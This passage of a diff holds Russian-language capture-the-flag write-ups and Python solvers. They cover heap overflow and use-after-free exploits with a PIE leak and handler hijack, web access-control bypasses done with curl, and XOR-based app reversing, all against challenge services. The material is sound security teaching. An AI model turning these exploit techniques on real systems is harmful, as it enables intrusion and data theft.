|---|---|
|
||||
| `classes.dex` | Код сервиса и строковый ключ |
|
||||
| `assets/fvnc_table.bin` | Зашифрованная таблица команд |
|
||||
|
||||
Открываем DEX в jadx, находим класс `OpsService` и метод `decode()`. Он побайтово XOR-ит таблицу повторяющимся ключом `fvnc-lite-v4`. Никаких дополнительных параметров устройства в расшифровке нет.
|
||||
|
||||
Повторяем алгоритм отдельно:
|
||||
|
||||
```python
|
||||
import json
|
||||
import zipfile
|
||||
|
||||
with zipfile.ZipFile("public/FvncLiteCourier.apk") as apk:
|
||||
blob = apk.read("assets/fvnc_table.bin")
|
||||
key = b"fvnc-lite-v4"
|
||||
plain = bytes(b ^ key[i % len(key)] for i, b in enumerate(blob))
|
||||
commands = json.loads(plain)
|
||||
print(commands["audit.export"])
|
||||
```
|
||||
|
||||
Расшифрованный JSON описывает команды accessibility/ops-сервиса. Среди обычных операций находим `audit.export`, значение которой и есть флаг.
|
||||
|
||||
[Солвер](solve/solve.py).
|
||||
|
||||
## Флаг
|
||||
|
||||
`caplag{accessibility_command_table_recovered}`
|
||||
@@ -0,0 +1,23 @@
|
||||
#!/usr/bin/env python3
|
||||
from pathlib import Path
|
||||
import argparse, base64, hashlib, json, lzma, marshal, os, plistlib, re, struct, subprocess, sys, zipfile, zlib
|
||||
|
||||
def xor(data, key):
|
||||
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
|
||||
|
||||
def find_after(data, marker):
|
||||
off = data.index(marker) + len(marker)
|
||||
ln = struct.unpack_from('<I', data, off)[0]
|
||||
off += 4
|
||||
return data[off:off+ln]
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser(); ap.add_argument('apk', nargs='?', default='../public/FvncLiteCourier.apk')
|
||||
args = ap.parse_args()
|
||||
with zipfile.ZipFile(args.apk) as z:
|
||||
dex = z.read('classes.dex')
|
||||
blob = z.read('assets/fvnc_table.bin')
|
||||
key = re.search(rb'fvnc-lite-v4', dex).group(0)
|
||||
cfg = json.loads(xor(blob, key))
|
||||
print(cfg['audit.export'])
|
||||
if __name__ == '__main__': main()
|
||||
@@ -0,0 +1,43 @@
|
||||
<h1 align="center">GumboGate</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/category-PWN-blueviolet" alt="PWN"/>
|
||||
<img src="https://img.shields.io/badge/difficulty-easy-brightgreen" alt="easy"/>
|
||||
</p>
|
||||
|
||||
На старте доступны сервис очистки HTML-накладных и бинарь `gumbogate`. Загружаем тег поставщика, затем запрашиваем отчёт. Сервис возвращает отчёт только после одобрения, а поле одобрения лежит сразу за массивом атрибутов.
|
||||
|
||||
## Решение
|
||||
|
||||
Смотрим структуру страницы в куче:
|
||||
|
||||
```c
|
||||
struct attr { char name[8]; char value[8]; };
|
||||
struct page {
|
||||
struct attr attrs[8];
|
||||
uint32_t approved;
|
||||
char report[64];
|
||||
};
|
||||
```
|
||||
|
||||
Для экспорта нужно `approved == 0x52505041`. В little-endian это четыре ASCII-байта `APPR`.
|
||||
|
||||
Парсер выбирает корзину по длине имени: `bucket = strlen(name) & 7`. Затем берёт `slot = used[bucket]++` и пишет в `attrs[slot]`. Верхнюю границу счётчика не проверяют, поэтому девятый атрибут одной корзины попадает в несуществующий `attrs[8]`.
|
||||
|
||||
Один атрибут занимает 16 байт, поэтому девятый начинается по смещению `8 × 16 = 128`, ровно на поле `approved`. Первые четыре байта его имени зададут значение этого поля.
|
||||
|
||||
Все имена делаем длиной восемь символов, чтобы они попали в корзину `0`:
|
||||
|
||||
```python
|
||||
attrs = [f"A{i:07d}=x" for i in range(8)]
|
||||
attrs.append("APPR0000=x")
|
||||
tag = "<" + " ".join(attrs) + ">"
|
||||
```
|
||||
|
||||
Восемь первых имён заполняют массив, `APPR0000` выходит за его границу и выставляет нужную константу. Отправляем тег в `1) ingest supplier tag`, затем выбираем `2) export cleaned report`. Проверка одобрения проходит, сервис отдаёт флаг.
|
||||
|
||||
[Солвер](solve/solve.py).
|
||||
|
||||
## Флаг
|
||||
|
||||
`caplag{attribute_bucket_walked_past_the_sanitizer}`
|
||||
@@ -0,0 +1,71 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import os
|
||||
import socket
|
||||
import struct
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
class Tube:
|
||||
def __init__(self, sock=None, proc=None):
|
||||
self.sock = sock
|
||||
self.proc = proc
|
||||
def recv(self, n=4096):
|
||||
if self.sock:
|
||||
return self.sock.recv(n)
|
||||
return os.read(self.proc.stdout.fileno(), n)
|
||||
def send(self, data):
|
||||
if self.sock:
|
||||
self.sock.sendall(data)
|
||||
else:
|
||||
os.write(self.proc.stdin.fileno(), data)
|
||||
def sendline(self, data):
|
||||
self.send(data + b"\n")
|
||||
def recvuntil(self, marker):
|
||||
out = b""
|
||||
while marker not in out:
|
||||
chunk = self.recv(1)
|
||||
if not chunk:
|
||||
raise EOFError(out)
|
||||
out += chunk
|
||||
return out
|
||||
|
||||
def symbol_value(binary, name):
|
||||
out = subprocess.check_output(["readelf", "-sW", binary], text=True)
|
||||
for line in out.splitlines():
|
||||
fields = line.split()
|
||||
if len(fields) >= 8 and fields[-1] == name:
|
||||
return int(fields[1], 16)
|
||||
raise RuntimeError(f"symbol not found: {name}")
|
||||
|
||||
def connect(args):
|
||||
if args.local:
|
||||
env = os.environ.copy()
|
||||
env["CTF_FLAG"] = args.flag
|
||||
proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env)
|
||||
return Tube(proc=proc)
|
||||
return Tube(sock=socket.create_connection((args.host, args.port), timeout=5))
|
||||
|
||||
def choose(io, value):
|
||||
io.recvuntil(b">")
|
||||
io.sendline(str(value).encode())
|
||||
|
||||
def main():
|
||||
p = argparse.ArgumentParser()
|
||||
p.add_argument("--host", default="127.0.0.1")
|
||||
p.add_argument("--port", type=int, default=31341)
|
||||
p.add_argument("--local", action="store_true")
|
||||
p.add_argument("--binary", default="../public/gumbogate")
|
||||
p.add_argument("--flag", default="caplag{attribute_bucket_walked_past_the_sanitizer}")
|
||||
args = p.parse_args()
|
||||
io = connect(args)
|
||||
names = [f"A{i:07d}".encode() for i in range(8)] + [b"APPR0000"]
|
||||
tag = b"<" + b" ".join(n + b"=x" for n in names) + b">"
|
||||
choose(io, 1)
|
||||
io.recvuntil(b"tag:")
|
||||
io.sendline(tag)
|
||||
choose(io, 2)
|
||||
data = io.recvuntil(b"}")
|
||||
print(data[data.rfind(b"caplag{"):].decode())
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,47 @@
|
||||
<h1 align="center">HeifTrack</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/category-PWN-blueviolet" alt="PWN"/>
|
||||
<img src="https://img.shields.io/badge/difficulty-medium-orange" alt="medium"/>
|
||||
</p>
|
||||
|
||||
HeifTrack проверяет последовательности кадров с камер. Он загружает chunk, привязывает его к воспроизведению и сверяет таблицы. В ELF `heiftrack` обнаруживаем, что ошибочный chunk удаляется, но воспроизведение продолжает ссылаться на него.
|
||||
|
||||
## Решение
|
||||
|
||||
Chunk занимает 108 байт:
|
||||
|
||||
```c
|
||||
struct chunk {
|
||||
uint32_t magic;
|
||||
uint32_t frames;
|
||||
char label[32];
|
||||
uint32_t approved;
|
||||
char pad[64];
|
||||
};
|
||||
```
|
||||
|
||||
Экспорт проверяет два поля по указателю `playback`: `magic == 0x48454946` и `approved == 0x54524143`. У обычного загруженного объекта `approved` равен нулю.
|
||||
|
||||
Сначала выбираем `1) load chunk`, затем `2) bind track`. Теперь и `chunk0`, и `playback` указывают на один объект. В `3) validate tables` вводим несовпадающие значения `1`, `2`, `3`. Валидация делает `free(chunk0)` и обнуляет `chunk0`, но про `playback` забывает. Получаем **use-after-free**.
|
||||
|
||||
Остаётся занять освободившуюся память своими данными. Пункт `4) add metadata item` выделяет блок того же размера, 108 байт. Готовим поддельный chunk:
|
||||
|
||||
```python
|
||||
import struct
|
||||
|
||||
payload = struct.pack("<II", 0x48454946, 9)
|
||||
payload += b"approved-track".ljust(32, b"\x00")
|
||||
payload += struct.pack("<I", 0x54524143)
|
||||
payload = payload.ljust(108, b"\x00")
|
||||
```
|
||||
|
||||
Поле `approved` оказывается на смещении `40`, как и у настоящего объекта. Выбираем `4) add metadata item`, на запрос `metadata bytes:` передаём строку `108`, затем на `payload:` отправляем 108 байт payload без добавленного перевода строки. Аллокатор переиспользует освобождённый блок, поэтому висячий `playback` теперь указывает на поддельный объект.
|
||||
|
||||
Выбираем `5) verify playback`. Обе проверки проходят, и сервис выводит флаг.
|
||||
|
||||
[Солвер](solve/solve.py).
|
||||
|
||||
## Флаг
|
||||
|
||||
`caplag{conflicting_track_tables_kept_the_chunk_alive}`
|
||||
@@ -0,0 +1,60 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import os
|
||||
import socket
|
||||
import struct
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
class Tube:
|
||||
def __init__(self, sock=None, proc=None):
|
||||
self.sock = sock
|
||||
self.proc = proc
|
||||
def recv(self, n=4096):
|
||||
if self.sock:
|
||||
return self.sock.recv(n)
|
||||
return os.read(self.proc.stdout.fileno(), n)
|
||||
def send(self, data):
|
||||
if self.sock:
|
||||
self.sock.sendall(data)
|
||||
else:
|
||||
os.write(self.proc.stdin.fileno(), data)
|
||||
def sendline(self, data):
|
||||
self.send(data + b"\n")
|
||||
def recvuntil(self, marker):
|
||||
out = b""
|
||||
while marker not in out:
|
||||
chunk = self.recv(1)
|
||||
if not chunk:
|
||||
raise EOFError(out)
|
||||
out += chunk
|
||||
return out
|
||||
|
||||
def symbol_value(binary, name):
|
||||
out = subprocess.check_output(["readelf", "-sW", binary], text=True)
|
||||
for line in out.splitlines():
|
||||
fields = line.split()
|
||||
if len(fields) >= 8 and fields[-1] == name:
|
||||
return int(fields[1], 16)
|
||||
raise RuntimeError(f"symbol not found: {name}")
|
||||
|
||||
def connect(args):
|
||||
if args.local:
|
||||
env = os.environ.copy()
|
||||
env["CTF_FLAG"] = args.flag
|
||||
proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env)
|
||||
return Tube(proc=proc)
|
||||
return Tube(sock=socket.create_connection((args.host, args.port), timeout=5))
|
||||
|
||||
def choose(io, value):
|
||||
io.recvuntil(b">")
|
||||
io.sendline(str(value).encode())
|
||||
|
||||
CHUNK_MAGIC=0x48454946; CHUNK_OK=0x54524143
|
||||
def main():
|
||||
p=argparse.ArgumentParser(); p.add_argument("--host",default="127.0.0.1"); p.add_argument("--port",type=int,default=31344); p.add_argument("--local",action="store_true"); p.add_argument("--binary",default="../public/heiftrack"); p.add_argument("--flag",default="caplag{conflicting_track_tables_kept_the_chunk_alive}"); args=p.parse_args()
|
||||
io=connect(args); choose(io,1); choose(io,2); choose(io,3); io.sendline(b"1"); io.sendline(b"2"); io.sendline(b"3")
|
||||
payload=struct.pack("<II",CHUNK_MAGIC,9)+b"approved-track".ljust(32,b"\x00")+struct.pack("<I",CHUNK_OK)+b"X"*64
|
||||
choose(io,4); io.recvuntil(b"metadata bytes:"); io.sendline(str(len(payload)).encode()); io.recvuntil(b"payload:"); io.send(payload)
|
||||
choose(io,5); data=io.recvuntil(b"}"); print(data[data.rfind(b"caplag{"):].decode())
|
||||
if __name__=="__main__": sys.exit(main())
|
||||
@@ -0,0 +1,76 @@
|
||||
<h1 align="center">Launchlet</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/category-Web-blueviolet" alt="Web"/>
|
||||
<img src="https://img.shields.io/badge/difficulty-medium-orange" alt="medium"/>
|
||||
</p>
|
||||
|
||||
Launchlet — конструктор приложений с preview, панелью деплоя и API данных. На старте есть URL сервиса. В клиентских манифестах находятся токены, идентификаторы и описания трёх серверных операций с неполной проверкой прав.
|
||||
|
||||
## Решение
|
||||
|
||||
Открываем DevTools и смотрим, что загружает интерфейс:
|
||||
|
||||
| Ресурс | Что узнаём |
|
||||
|---|---|
|
||||
| `/api/app/bootstrap` | Параметры preview и API данных |
|
||||
| `/assets/build-manifest.json` | Токен получения build receipt |
|
||||
| `/assets/mock-supabase-client.js` | Ключ API и гостевую сессию |
|
||||
| `/assets/server-reference-manifest.json` | Идентификатор серверного действия |
|
||||
|
||||
### Токен receipt
|
||||
|
||||
В `build-manifest.json` находим проект `launchlet-demo-board`, `previewReceipt = lrec_preview_demo_2026` и адрес `/api/receipts/redeem`. Пробуем предъявить найденный токен:
|
||||
|
||||
```bash
|
||||
curl -sS http://<host>:31380/api/receipts/redeem \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{"receipt":"lrec_preview_demo_2026","project":"launchlet-demo-board"}'
|
||||
```
|
||||
|
||||
Сервер принимает его как право прочитать receipt и возвращает первый флаг. Build pipeline оставил в публичном артефакте повторно используемый токен доступа.
|
||||
|
||||
### Доступ к workspace
|
||||
|
||||
Из bootstrap или клиентского JS берём `anonKey = ll_anon_mock_publishable` и сессию `preview_guest_session`. Интерфейс читает `workspace_notes` с фильтром `workspace_id=eq.ws-launchlet-public`.
|
||||
|
||||
Проверяем, ограничивает ли сессия доступ к строкам. В имени workspace заменяем `public` на `internal`, сохраняя гостевой ключ и сессию:
|
||||
|
||||
```bash
|
||||
curl -sS 'http://<host>:31380/api/db/rest/v1/workspace_notes?select=workspace_id,title,body&workspace_id=eq.ws-launchlet-internal' \
|
||||
-H 'apikey: ll_anon_mock_publishable' \
|
||||
-H 'Authorization: Bearer preview_guest_session'
|
||||
```
|
||||
|
||||
Получаем внутреннюю заметку со вторым флагом. API проверяет ключ и наличие preview-сессии, но выбирает доступные строки по переданному query-параметру. Workspace сессии с ним не сверяется.
|
||||
|
||||
### Область серверного действия
|
||||
|
||||
В `server-reference-manifest.json` открываем запись `serverActions.inspectDeploy`. Из неё берём идентификатор `act_6f4b9a2c1d0e8a71` и endpoint `/api/actions/invoke`. Манифест также описывает `intendedScope` — область действия. Проверяем, привязывает ли сервер переданные аргументы к этой области.
|
||||
|
||||
Для вызова нужны оба идентификатора, `workspaceId` и `projectId`. Проверяем пару `ws-launchlet-internal` и `proj-enterprise-rollout`, сохраняя публичный проект в заголовке `X-Launchlet-Preview`.
|
||||
|
||||
```bash
|
||||
curl -sS http://<host>:31380/api/actions/invoke \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H 'X-Launchlet-Preview: launchlet-demo-board' \
|
||||
--data '{
|
||||
"actionId":"act_6f4b9a2c1d0e8a71",
|
||||
"args":{
|
||||
"workspaceId":"ws-launchlet-internal",
|
||||
"projectId":"proj-enterprise-rollout"
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
Dispatcher принимает чужие workspace и project с гостевым preview-контекстом и возвращает третий флаг. Проверка идентификатора действия есть, а привязки аргументов к разрешённой области нет. В этой ветке, как и при чтении заметок, параметры клиента позволяют выбрать чужие данные.
|
||||
|
||||
[Солвер](solve/solve.py).
|
||||
|
||||
## Все этапы
|
||||
|
||||
| Этап | Флаг |
|
||||
|---|---|
|
||||
| 1 | `caplag{preview_manifest_kept_the_receipt}` |
|
||||
| 2 | `caplag{anon_key_needs_real_rls}` |
|
||||
| 3 | `caplag{server_actions_need_scope_checks}` |
|
||||
@@ -0,0 +1,90 @@
|
||||
#!/usr/bin/env python3
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
from urllib import parse, request
|
||||
|
||||
|
||||
def get_json(base: str, path: str, headers: dict[str, str] | None = None):
|
||||
req = request.Request(base + path, headers={"Accept": "application/json", **(headers or {})})
|
||||
with request.urlopen(req, timeout=5) as resp:
|
||||
return json.loads(resp.read().decode())
|
||||
|
||||
|
||||
def post_json(base: str, path: str, payload: dict, headers: dict[str, str] | None = None):
|
||||
body = json.dumps(payload).encode()
|
||||
req = request.Request(
|
||||
base + path,
|
||||
data=body,
|
||||
method="POST",
|
||||
headers={
|
||||
"Accept": "application/json",
|
||||
"Content-Type": "application/json",
|
||||
**(headers or {}),
|
||||
},
|
||||
)
|
||||
with request.urlopen(req, timeout=5) as resp:
|
||||
return json.loads(resp.read().decode())
|
||||
|
||||
|
||||
def solve(base: str) -> list[str]:
|
||||
base = base.rstrip("/")
|
||||
|
||||
bootstrap = get_json(base, "/api/app/bootstrap")
|
||||
build_manifest = get_json(base, bootstrap["api"]["buildManifest"])
|
||||
stage1 = post_json(
|
||||
base,
|
||||
build_manifest["receiptRedeemEndpoint"],
|
||||
{
|
||||
"receipt": build_manifest["previewReceipt"],
|
||||
"project": build_manifest["project"],
|
||||
},
|
||||
)["flag"]
|
||||
|
||||
internal_query = parse.urlencode(
|
||||
{
|
||||
"select": "workspace_id,title,body",
|
||||
"workspace_id": "eq.ws-launchlet-internal",
|
||||
}
|
||||
)
|
||||
notes = get_json(
|
||||
base,
|
||||
f"{build_manifest['dataApiBase']}/workspace_notes?{internal_query}",
|
||||
headers={
|
||||
"apikey": bootstrap["client"]["anonKey"],
|
||||
"Authorization": f"Bearer {bootstrap['client']['session']}",
|
||||
},
|
||||
)
|
||||
stage2 = next(body for row in notes for body in [row["body"]] if "caplag{" in body)
|
||||
stage2 = stage2[stage2.index("caplag{") : stage2.index("}") + 1]
|
||||
|
||||
refs = get_json(base, bootstrap["api"]["serverReferences"])
|
||||
action = refs["serverActions"]["inspectDeploy"]
|
||||
stage3 = post_json(
|
||||
base,
|
||||
action["endpoint"],
|
||||
{
|
||||
"actionId": action["id"],
|
||||
"args": {
|
||||
"workspaceId": "ws-launchlet-internal",
|
||||
"projectId": "proj-enterprise-rollout",
|
||||
},
|
||||
},
|
||||
headers={"X-Launchlet-Preview": build_manifest["project"]},
|
||||
)["flag"]
|
||||
|
||||
return [stage1, stage2, stage3]
|
||||
|
||||
|
||||
def main() -> None:
|
||||
parser = argparse.ArgumentParser(description="Solve Launchlet web challenge chain.")
|
||||
parser.add_argument("url", nargs="?", default="http://127.0.0.1:31380")
|
||||
args = parser.parse_args()
|
||||
|
||||
for flag in solve(args.url):
|
||||
print(flag)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,52 @@
|
||||
<h1 align="center">LeaseMesh</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/category-PWN-blueviolet" alt="PWN"/>
|
||||
<img src="https://img.shields.io/badge/difficulty-medium-orange" alt="medium"/>
|
||||
</p>
|
||||
|
||||
LeaseMesh позволяет создавать, просматривать, закрывать и пересылать «аренды» маршрутов. В раздатке есть ELF `lease-mesh` с PIE и сохранёнными символами. Для получения флага нужно узнать адрес `flag_export` и подменить обработчик маршрута.
|
||||
|
||||
## Решение
|
||||
|
||||
У маршрута размер 144 байта. Для атаки важны следующие поля:
|
||||
|
||||
| Смещение | Поле | Назначение |
|
||||
|---:|---|---|
|
||||
| 0 | `magic`, 8 байт | `0x4c454153454d4553` |
|
||||
| 8 | `name[24]` | Имя маршрута |
|
||||
| 32 | `generation`, 8 байт | Поколение объекта |
|
||||
| 40 | `handler`, 8 байт | Указатель на обработчик |
|
||||
| 48 | `approved`, 4 байта | Для экспорта нужно `0x51524f4b` |
|
||||
| 52 | `memo_len`, 4 байта | Длина заметки |
|
||||
| 56 | `memo[88]` | Сама заметка |
|
||||
|
||||
Открываем маршрут в слоте `0` через `1) open route lease`, имя и заметка любые. В пункте `4) inspect route` выбираем слот `0`. Из `handler=%p` получаем адрес `route_status` в запущенном процессе и сохраняем его числом в `leaked_handler`. Через `readelf -sW public/lease-mesh` находим значения символов `route_status` и `flag_export`. Смещения относительно базы PIE обозначим `offset_route_status` и `offset_flag_export`. Вычитаем первое из утечки и прибавляем второе:
|
||||
|
||||
```python
|
||||
pie_base = leaked_handler - offset_route_status
|
||||
target = pie_base + offset_flag_export
|
||||
```
|
||||
|
||||
Теперь освобождаем маршрут через `2) close route lease`, указывая слот `0`. В `close_route` есть `free(routes[idx])`, но нет обнуления `routes[idx]`. Значит, слот продолжает ссылаться на освобождённую память.
|
||||
|
||||
Пункт `3) import raw decoder packet` выделяет ровно `sizeof(struct route)` и заполняет блок переданными байтами. Собираем подделку:
|
||||
|
||||
```python
|
||||
import struct
|
||||
|
||||
payload = struct.pack("<Q", 0x4c454153454d4553)
|
||||
payload += b"export-reclaim".ljust(24, b"\x00")
|
||||
payload += struct.pack("<QQII", 0x2605061337, target, 0x51524f4b, 0)
|
||||
payload = payload.ljust(144, b"\x00")
|
||||
```
|
||||
|
||||
Выбираем `3) import raw decoder packet`. На запрос `raw packet bytes:` отправляем строку `144`, затем на `packet payload:` передаём 144 байта payload без добавленного перевода строки.
|
||||
|
||||
После переиспользования блока `routes[0]` указывает на этот пакет как на настоящий маршрут. Вызываем `5) dispatch route`, слот `0`. Поля `magic` и `approved` содержат ожидаемые значения, а `handler` указывает на `flag_export`.
|
||||
|
||||
[Солвер](solve/solve.py).
|
||||
|
||||
## Флаг
|
||||
|
||||
`caplag{stale_handle_reclaimed_the_route}`
|
||||
@@ -0,0 +1,131 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import os
|
||||
import socket
|
||||
import struct
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
ROUTE_MAGIC = 0x4C454153454D4553
|
||||
APPROVED_ROUTE = 0x51524F4B
|
||||
ROUTE_SIZE = 144
|
||||
|
||||
|
||||
class Tube:
|
||||
def __init__(self, sock=None, proc=None):
|
||||
self.sock = sock
|
||||
self.proc = proc
|
||||
|
||||
def recv(self, n=4096):
|
||||
if self.sock:
|
||||
return self.sock.recv(n)
|
||||
return os.read(self.proc.stdout.fileno(), n)
|
||||
|
||||
def send(self, data):
|
||||
if self.sock:
|
||||
self.sock.sendall(data)
|
||||
else:
|
||||
os.write(self.proc.stdin.fileno(), data)
|
||||
|
||||
def sendline(self, data):
|
||||
self.send(data + b"\n")
|
||||
|
||||
def recvuntil(self, marker):
|
||||
out = b""
|
||||
while marker not in out:
|
||||
chunk = self.recv(1)
|
||||
if not chunk:
|
||||
raise EOFError(out)
|
||||
out += chunk
|
||||
return out
|
||||
|
||||
|
||||
def symbol_value(binary, name):
|
||||
out = subprocess.check_output(["readelf", "-sW", binary], text=True)
|
||||
for line in out.splitlines():
|
||||
fields = line.split()
|
||||
if len(fields) >= 8 and fields[-1] == name:
|
||||
return int(fields[1], 16)
|
||||
raise RuntimeError(f"symbol not found: {name}")
|
||||
|
||||
|
||||
def connect(args):
|
||||
if args.local:
|
||||
env = os.environ.copy()
|
||||
env["CTF_FLAG"] = args.flag
|
||||
proc = subprocess.Popen(
|
||||
[args.binary],
|
||||
stdin=subprocess.PIPE,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.STDOUT,
|
||||
env=env,
|
||||
)
|
||||
return Tube(proc=proc)
|
||||
sock = socket.create_connection((args.host, args.port), timeout=5)
|
||||
return Tube(sock=sock)
|
||||
|
||||
|
||||
def choose(io, value):
|
||||
io.recvuntil(b">")
|
||||
io.sendline(str(value).encode())
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("--host", default="127.0.0.1")
|
||||
parser.add_argument("--port", type=int, default=31338)
|
||||
parser.add_argument("--local", action="store_true")
|
||||
parser.add_argument("--binary", default="../public/lease-mesh")
|
||||
parser.add_argument("--flag", default="caplag{stale_handle_reclaimed_the_route}")
|
||||
args = parser.parse_args()
|
||||
|
||||
route_status = symbol_value(args.binary, "route_status")
|
||||
flag_export = symbol_value(args.binary, "flag_export")
|
||||
|
||||
io = connect(args)
|
||||
|
||||
choose(io, 1)
|
||||
io.recvuntil(b"slot:")
|
||||
io.sendline(b"0")
|
||||
io.recvuntil(b"name:")
|
||||
io.sendline(b"east-mirror")
|
||||
io.recvuntil(b"memo:")
|
||||
io.sendline(b"leased partner route")
|
||||
|
||||
choose(io, 4)
|
||||
io.recvuntil(b"slot:")
|
||||
io.sendline(b"0")
|
||||
io.recvuntil(b"handler=")
|
||||
leaked_handler = int(io.recvuntil(b" approved=")[: -len(b" approved=")], 16)
|
||||
pie_base = leaked_handler - route_status
|
||||
target = pie_base + flag_export
|
||||
|
||||
choose(io, 2)
|
||||
io.recvuntil(b"slot:")
|
||||
io.sendline(b"0")
|
||||
|
||||
forged = struct.pack("<Q", ROUTE_MAGIC)
|
||||
forged += b"export-reclaim".ljust(24, b"\x00")
|
||||
forged += struct.pack("<Q", 0x2605061337)
|
||||
forged += struct.pack("<Q", target)
|
||||
forged += struct.pack("<I", APPROVED_ROUTE)
|
||||
forged += struct.pack("<I", 0)
|
||||
forged += b"raw packet reclaimed stale route".ljust(88, b"\x00")
|
||||
forged = forged.ljust(ROUTE_SIZE, b"\x00")
|
||||
|
||||
choose(io, 3)
|
||||
io.recvuntil(b"raw packet bytes:")
|
||||
io.sendline(str(len(forged)).encode())
|
||||
io.recvuntil(b"packet payload:")
|
||||
io.send(forged)
|
||||
|
||||
choose(io, 5)
|
||||
io.recvuntil(b"slot:")
|
||||
io.sendline(b"0")
|
||||
data = io.recvuntil(b"}")
|
||||
flag = data[data.rfind(b"caplag{") :].decode()
|
||||
print(flag)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,49 @@
|
||||
<h1 align="center">Mileage MDM</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/category-Reverse-blueviolet" alt="Reverse"/>
|
||||
<img src="https://img.shields.io/badge/difficulty-hard-critical" alt="hard"/>
|
||||
</p>
|
||||
|
||||
В раздатке есть `MileageMDM.ipa` и `NOTES.md` со схемой маскирования. MDM-агент автопарка хранит офлайн-доказательство подлинности профиля и карту API-селекторов. Нужно связать параметры профиля с блоком данных в Mach-O.
|
||||
|
||||
## Решение
|
||||
|
||||
Распаковываем IPA как ZIP и смотрим `Payload/MileageMDM.app/`:
|
||||
|
||||
| Файл | Что ищем |
|
||||
|---|---|
|
||||
| `Info.plist` | Значение `AttestSeed` |
|
||||
| `embedded.mobileprovision` | Тот же seed для сверки |
|
||||
| `MileageMDM` | Маркер `MDMPROOF` и зашифрованную карту |
|
||||
|
||||
Согласно `NOTES.md`, ключ состоит из первых 16 байт SHA-256 от `AttestSeed`, а данные скрыты повторяющимся XOR. Seed лежит в `Info.plist` и дублируется в профиле, так что секретным он не является.
|
||||
|
||||
В бинаре находим `MDMPROOF`. Следующие четыре байта — длина блока в little-endian, дальше идёт сам блок. Читаем `AttestSeed` из plist в переменную `seed`, а зашифрованные байты — в `blob`, затем расшифровываем:
|
||||
|
||||
```python
|
||||
import hashlib
|
||||
import json
|
||||
import plistlib
|
||||
import zipfile
|
||||
|
||||
with zipfile.ZipFile("public/MileageMDM.ipa") as ipa:
|
||||
data = ipa.read("Payload/MileageMDM.app/MileageMDM")
|
||||
profile = plistlib.loads(ipa.read("Payload/MileageMDM.app/Info.plist"))
|
||||
seed = profile["AttestSeed"]
|
||||
pos = data.index(b"MDMPROOF") + len(b"MDMPROOF")
|
||||
size = int.from_bytes(data[pos:pos + 4], "little")
|
||||
blob = data[pos + 4:pos + 4 + size]
|
||||
key = hashlib.sha256(seed.encode()).digest()[:16]
|
||||
plain = bytes(b ^ key[i % len(key)] for i, b in enumerate(blob))
|
||||
proof = json.loads(plain)
|
||||
print(proof["flag"])
|
||||
```
|
||||
|
||||
Важно брать байты хеша через `digest()`, а не первые 16 символов hex-представления. С правильным ключом получается JSON-карта селекторов, в которой поле `flag` содержит искомое доказательство.
|
||||
|
||||
[Солвер](solve/solve.py).
|
||||
|
||||
## Флаг
|
||||
|
||||
`caplag{selector_hashes_opened_the_mdm_proof}`
|
||||
@@ -0,0 +1,24 @@
|
||||
#!/usr/bin/env python3
|
||||
from pathlib import Path
|
||||
import argparse, base64, hashlib, json, lzma, marshal, os, plistlib, re, struct, subprocess, sys, zipfile, zlib
|
||||
|
||||
def xor(data, key):
|
||||
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
|
||||
|
||||
def find_after(data, marker):
|
||||
off = data.index(marker) + len(marker)
|
||||
ln = struct.unpack_from('<I', data, off)[0]
|
||||
off += 4
|
||||
return data[off:off+ln]
|
||||
|
||||
def main():
|
||||
ap=argparse.ArgumentParser(); ap.add_argument('ipa', nargs='?', default='../public/MileageMDM.ipa'); args=ap.parse_args()
|
||||
with zipfile.ZipFile(args.ipa) as z:
|
||||
bin_data=z.read('Payload/MileageMDM.app/MileageMDM')
|
||||
plist=plistlib.loads(z.read('Payload/MileageMDM.app/Info.plist'))
|
||||
key=hashlib.sha256(plist['AttestSeed'].encode()).digest()[:16]
|
||||
off=bin_data.index(b'MDMPROOF')+len(b'MDMPROOF')
|
||||
ln=struct.unpack_from('<I', bin_data, off)[0]; off += 4
|
||||
cfg=json.loads(xor(bin_data[off:off+ln], key))
|
||||
print(cfg['flag'])
|
||||
if __name__=='__main__': main()
|
||||
@@ -0,0 +1,41 @@
|
||||
<h1 align="center">Modbus Mirror</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/category-Reverse-blueviolet" alt="Reverse"/>
|
||||
<img src="https://img.shields.io/badge/difficulty-medium-orange" alt="medium"/>
|
||||
</p>
|
||||
|
||||
В раздатке есть диагностическая утилита `modbus_mirror`, написанная на C для PLC/Modbus-контура. Внутри находится зеркальная таблица ladder-регистров с сервисным ключом. Начинаем с разбора данных, которые использует утилита.
|
||||
|
||||
## Решение
|
||||
|
||||
